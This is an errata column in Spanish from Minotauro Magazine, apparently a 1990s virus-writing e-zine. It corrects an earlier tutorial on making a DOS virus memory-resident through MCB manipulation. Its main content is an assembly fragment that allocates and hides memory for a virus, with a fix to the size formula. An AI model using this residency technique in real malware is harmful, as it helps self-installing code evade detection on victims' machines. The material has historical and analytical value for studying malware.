Copy Link
Add to Bookmark
Report
Minotauro Magazine Issue 03 06 FÇ de Ratas..
F de Ratas.. ;)
-------------------------------------------------------------------------------
Jeje, esta area esta destinada a 'corregir' o aclarar un poco mas los
conceptos de los que se hablan en la revista.. generalmente de n£meros anterio_
res, ;). El problema era la velocidad de edicion de la revista: Tenemos a un
grupo de gente laburando en varios proyectos a la vez, adem s de la revista y
algunas cosas pasan desapercibidas.. o no nos damos cuenta que no estan lo su_
ficientemente claras como para entenderlas.
Un ejempo de esto es la nota en que Zarathustra habla de los mtodos de
residencia... en la parte que explica el mtodo de MCB, nos dice:
mov ax, cs ;Con esto obtenemos el segmento
dec ax ;del MCB.
mov es, ax ;Aca estamos obteniendo del campo
mov ax, es:[3] ;del MCB, la memoria utilizada.
;******************************************************************************
;El problema de esto, es que en nignun momento se aclara que tenemos que decla_
;rar el tama¤o del virus un poco mas grande, exactamente un parrafo mas largo.
;Esto por qu ? Y bueno, en el momento en que tenemos que restarle un parrafo a
;la memoria que queremos reservar (esto lo haciamos para dar lugar a que se
;cree el MCB del nuevo bloque), estamos reservando un parrafo menos de virus
;tambien.. osea que la ultima parte del virus no entraria en la memoria reser_
;vada.. Puede ser que no traiga problemas por ser un rea de datos o algo por
;el estilo, pero es aconsejable hacer las cosas bien, o no ? ;-)
;Bueno, la manera de solucionar esto es simplemente INCrementar la cantidad de
;parrafos del virus o si lo declaran en su programa con un :
;
; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO)/16)+1
;
; declarar el incremento directamente ahi, para no gastar bytes ni clocks ;) :
;
; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO+15)/16)+1
;
;******************************************************************************
sub ax, bx ;En BX esta la longitud del virus,
;en parrafos. (ahora incrementada).
push bx ;Salvo la cantidad de mem a reservar.
mov bx, ax ;Le paso la nueva cantidad a BX.
push cs
pop es
mov ah, 4ah
int 21h
pop bx ;Popeo la cantidad de mem a reservar.
dec bx
mov ah, 48h
int 21h
dec ax
mov es, ax
mov word ptr es:[1], 8
mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque.
inc ax
mov es, ax
push es ;Salvo la dir del seg. del virus
... ;blah blah blah y sigue el c¢digo ;)
...